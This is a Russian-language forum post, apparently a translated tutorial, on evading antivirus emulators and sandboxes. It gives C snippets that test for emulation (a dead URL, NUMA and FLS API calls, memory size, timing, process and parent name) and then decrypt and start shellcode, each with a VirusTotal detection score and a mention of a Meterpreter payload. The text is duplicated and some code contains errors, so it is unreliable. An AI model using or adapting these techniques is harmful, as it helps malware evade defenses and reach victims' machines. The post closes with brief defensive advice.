HHIDE_DUMP
Гость
H
HHIDE_DUMP
Гость
В этой статье мы продолжим рассматривать методы обхода антивирусов.
Метод «Я не должен этого делать!»
Пример 1: Попытка открыть системный процесс
Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).
VirusTotal счёт:
11/55
Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.
Пример 2: Попытка открыть несуществующий URL
Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.
У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.
Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.
VirusTotal счёт:
2/55
А тут уже интереснее . Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.
Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
VirusTotal счёт:
0/55
У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Этот код будет работать на ПК, но не будет работать в эмуляции.
VirusTotal счёт:
0/55
Пример 2: Что за чёртов FLS?
FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете
Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.
VirusTotal счёт:
8/55
Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Проверяем память процесса
Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.
VirusTotal счёт:
1/55
Пример 2: Искажение времени
Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?
VirusTotal счёт:
8/55
Очень жаль, но некоторые антивирусы уже просекли этот трюк.
Пример 3: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
VirusTotal счёт:
0/55
Трюк остаётся актуален спустя 4 года.
Метод «Я вызываю себя!»
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 1: Я собственный отец.
В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.
VirusTotal счёт:
1/55
Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).
Заключение
Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.
Могу посоветовать некоторые способы защиты от вредоносного ПО:
Метод «Я не должен этого делать!»
Пример 1: Попытка открыть системный процесс
Этот код просто пытается открыть системный процесс с номером 4 со всеми правами, который обычно является системным. Если код не запущен с системой MIC и сессией 0, то эта затея должна провалиться (OpenProcess возвращает 0).
Код:
int main( void )
{
HANDLE file;
HANDLE proc;
proc = OpenProcess( PROCESS_ALL_ACCESS, FALSE, 4);
if( proc == NULL )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
11/55
Из-за эвристического анализа, функция OpenProcess была принята за вредоносный backdoor. Этот пример показывает, что окружение при эмуляции, не такое как всегда.
Пример 2: Попытка открыть несуществующий URL
Метод, который часто используется чтобы определить то, что мы в песочнице, - это загрузка определенного файла из Интернета и сравнение его хеша с хешем, оригинальным хешем кода. Почему это работает? Потому что окружение песочницы не даёт потенциальному вредоносному файлу доступ в интернет. Когда проверяемый файл открывает интернет страницу в песочнице, то песочница будет отправлять сгенерированный файл. И поэтому, хеш этого файла не будет совпадать с реальным хешем.
У этого метода есть несколько проблем. Этот никогда не заработает, если у вас нет доступа в интернет. Второе, если проверяемый файл будет изменён или удалён, то код перестанет работать.
Другой метод, который не имеет этих проблем, заключается в том, чтобы попробовать получить доступ к сайту, которого не существует. В эмуляции это выйдет, а в реальном мире нет, потому что песочница/эмуляция вернёт свою сгенерированную страницу.
Код:
#include <Wininet.h>
#pragma comment(lib, "Wininet.lib")
int main( void )
{
char cononstart[] = "http://www.notdetectmalicouscode.com//"; //Несуществующий URL
char readbuf[1024];
HINTERNET httpopen, openurl;
DWORD read;
httpopen = InternetOpen(NULL, INTERNET_OPEN_TYPE_DIRECT, NULL, NULL, 0);
openurl = InternetOpenUrl(httpopen, cononstart, NULL, NULL, INTERNET_FLAG_RELOAD|INTERNET_FLAG_NO_CACHE_WRITE, NULL);
if(!openurl)
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
decryptCodeSection();
startShellCode();
}
else
{
InternetCloseHandle(httpopen);
InternetCloseHandle(openurl);
}
}
2/55
А тут уже интереснее . Среди двух результатов, один антивирус считает, что мой загрузчик dropper (эвристические ложные срабатывания). Второй реально нашёл Meterpreter backdoor. Это правда странно. Это означает, что у этих ребят есть действительно умная система или они разрешают соединение в песочнице, которую они используют.
Этот метод может стать вашим врагом, если вы будете использовать этот метод в массовой атаке. Может произойти также как и с WannaCry, когда один программист остановил атаку одним лишь созданием сайта.
Метод «Знай своего врага»
Если вы знаете некоторую информацию о целевом устройстве, то вы сможете легко обойти любой антивирус. Просто свяжите механизм расшифрования кода с тем, что вы знаете о целевом ПК (или группе ПК).
Пример 1: Действия, которые зависят от локального пользователя
Если вам известно имя одного из пользователей, то возможно узнать и о действиях этого пользователя. Например, мы можем писать и читать из файла пользователя. В коде ниже, мы создали файл на рабочем столе и записали туда некоторые символы.
Код:
#define FILE_PATH "C:\\Users\\bob\\Desktop\\tmp.file"
int main( void )
{
HANDLE file;
DWORD tmp;
LPCVOID buff = "1234";
chat outputbuff[5] = {0};
file = CreateFile(FILE_PATH, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0);
if( WriteFile(file, buff, strlen((const char *)buff), &tmp, NULL)
{
CloseHandle(file);
file = CreateFile(FILE_PATH,
GENERIC_READ,
FILE_SHARE_READ,
NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
NULL);
if(ReadFile(file, outputbuff, 4, &tmp, NULL))
{
if(strncmp(buff, outputbuff, 4) == 0)
{
decryptCodeSection();
startShellCode();
}
}
CloseHandle(file);
}
DeleteFile(FILE_PATH);
return 0;
}
0/55
У антивирусов не выйдет записать и прочитать из файла, поэтому этот метод работает до сих пор.
Метод «WTF is that?»
Функций Windows API так много, что системы эмуляции не охватывают их всех.
Пример 1: Что за чёртов NUMA?
NUMA означает Non Uniform Memory Access. Это метод настройки управления памятью в многопроцессорных системах. Он связан с целым набором функций, объявленных в Kernel32.dll. Больше информации об этом вы можете получить
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Этот код будет работать на ПК, но не будет работать в эмуляции.
Код:
int main( void )
{
LPVOID mem = NULL;
mem = VirtualAllocExNuma(GetCurrentProcess(), NULL, 100, MEM_REVERSE | MEM_COMMIT, PAGE_EXECUTE_READWRITE, 0);
if( mem != NULL )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
0/55
Пример 2: Что за чёртов FLS?
FLS это Fiber Local Storage, используется чтобы манипулировать данными через волокна. Узнать об этом больше вы можете
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Интересно, то что некоторые эмуляторы будут всегда возвращать FLS_OUT_OF_INDEXES для функции FlsAlloc.
Код:
int main( void )
{
DWORD result = FlsAlloc(NULL);
if( result != FLS_OUT_OF_INDEXES)
{
decryptCodeSection();
startShellCode();
}
return 0;
}
8/55
Метод «Проверяем окружение»
Этот принцип очень прост. Если антивирус полагается на окружение эмуляции/песочницы, некоторые проверки окружения будут существенно отличаться от реальной среды устройства.
Пример 1: Проверяем память процесса
Используя системные инструменты, я обнаружил, что когда антивирус сканирует процесс, это влияет на его память. Антивирус будет выделять память для этого, также API процесс эмулируемого кода будет возвращать не те значения, что ожидались. В текущем процессе я буду использовать GetProcessMemoryInfo. Если этот текущий рабочий сет превышает 3 500 000 байт, я считаю, что код работает в антивирусном окружении, а если это не так, то код расшифровывается и запускается.
Код:
#include <Psapi.h>
#pragma comment(lib, "Psapi.lib")
int main( void )
{
PROCESS_MEMORY_COUNTERS pmc;
GetProcessMemoryInfo(GetCurrentProcess(), &pmc, sizeof(pmc));
if( pmc.WorkingSetSize<=350000 )
{
decryptCodeSection();
startShellCode();
}
return 0;
}
1/55
Пример 2: Искажение времени
Мы знаем что функция Sleep эмулируется антивирусом. Это делается для того, чтобы избежать обхода антивируса простым вызовом Sleep. Вопрос в том, есть ли толк в Sleep, который эмулируется?
Код:
#include <time.h>
#pragma comment( lib, "winmm.lib" )
int main( void )
{
DWORD mesure1;
DWORD mesure2;
mesure1 = timeGetTime();
Sleep(1000);
if(( mesure2 > ( mesure1 + 1000 ) && ( mesure2 < ( mesure1 + 1005 ))
{
decryptCodeSection();
startShellCode();
}
return 0;
}
8/55
Очень жаль, но некоторые антивирусы уже просекли этот трюк.
Пример 3: Как меня зовут?
Поскольку эмулируемый код стартует не с именем бинарного файла, то возможно проверить имя процесса. Этот метод был описан в далёком 2013 году Атиллой Мороси, об этом способе вы можете почитать
Пожалуйста,
Вход
или
Регистрация
для просмотра содержимого URL-адресов!
.Имя тестируемого процесса "test.exe". В программе ниже мы проверяем имя файла на содержание имени оригинального процесса.
Код:
int main( int argc, char * argv[] )
{
if( strstr( argv[0], "test.exe" > 0 ) )
{
decryptShellCode();
startShellCode();
}
return 0;
}
0/55
Трюк остаётся актуален спустя 4 года.
Метод «Я вызываю себя!»
Это один из вариантов проверки окружения. Антивирус будет выполнять код только в том случае, если он был вызван определенным образом.
Пример 1: Я собственный отец.
В этом примере, исполняемый файл (test.exe) будет входить в фазу расшифровывания, только если его родительский процесс также test.exe.
Код:
#include <TlHelp32.h>
#include <Psapi.h>
#pragma comment( lib, "Psapi.lib" )
int main( void )
{
int pid = -1;
HANDLE hProcess;
HANDLE h = CreateToolhelp32Snapshot( TH32CS_SNAPPROCESS, 0);
PROCESSENTRY32 pe = { 0 };
pe.dwSize = sizeof( PROCESSENTRY32 );
pid = GetCurrentProcessID();
if( Process32First( h, &pe )
{
do
{
if( pe.th32ProcessID == pid )
{
hProcess = OpenProcess( PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pe.th32ParrentProcessID );
if( hProcess != NULL )
{
HMODULE hMod;
DWORD cbNeeded;
TCHAR processName[ MAX_PATH ];
if( EnumProcessModules( hProcess, &hMod, sizeof( &hMod ), &cbNeeded )
{
GetModuleBaseName( hProcess, hMod, processName, sizeof( processName )/sizeof( TCHAR ) );
if( strncmp( processName, "test.exe", strlen( processName ) == 0 )
{
decryptCodeSection();
startShellCode();
}
else
{
startExe("test.exe");
Sleep(1000);
}
}
}
CloseHandle( hProcess );
}
} while ( Process32Next( h, &pe ) );
}
CloseHandle( h );
return 0;
}
1/55
Обычно антивирусы не способны следовать за дочерним процессом, а будут сканировать родительский процесс (даже если их код одинаковый).
Заключение
Эти примеры показывают как же легко можно обойти антивирусы, когда вы используете их слабости. Для этого требуется знания о системе Windows и знать как работают антивирусы. Однако, я не говорил, что антивирусы бесполезны. Антивирусы очень полезны, они защищают от миллиона угроз. Также антивирусы очень удобны для восстановления системы. Что я говорил, так это то, что антивирусы могут быть легко одурачены, особенно при целевых атаках.
Могу посоветовать некоторые способы защиты от вредоносного ПО:
- Никогда не запускайте программу от администратора, если вы не уверены в ней. Это золотое правило поможет защититься от 99% вредоносного ПО, без антивируса. Годами, это правило было главным для пользователей Linux.
- Охраняйте систему. Обновления Windows имеют много новых обновлений безопасности, используйте их.
- Используйте IDS и следите за вашей сетью. Большинство атак вредоносного ПО, не были замечены их жертвами. Спасибо NIDS и firewall логам.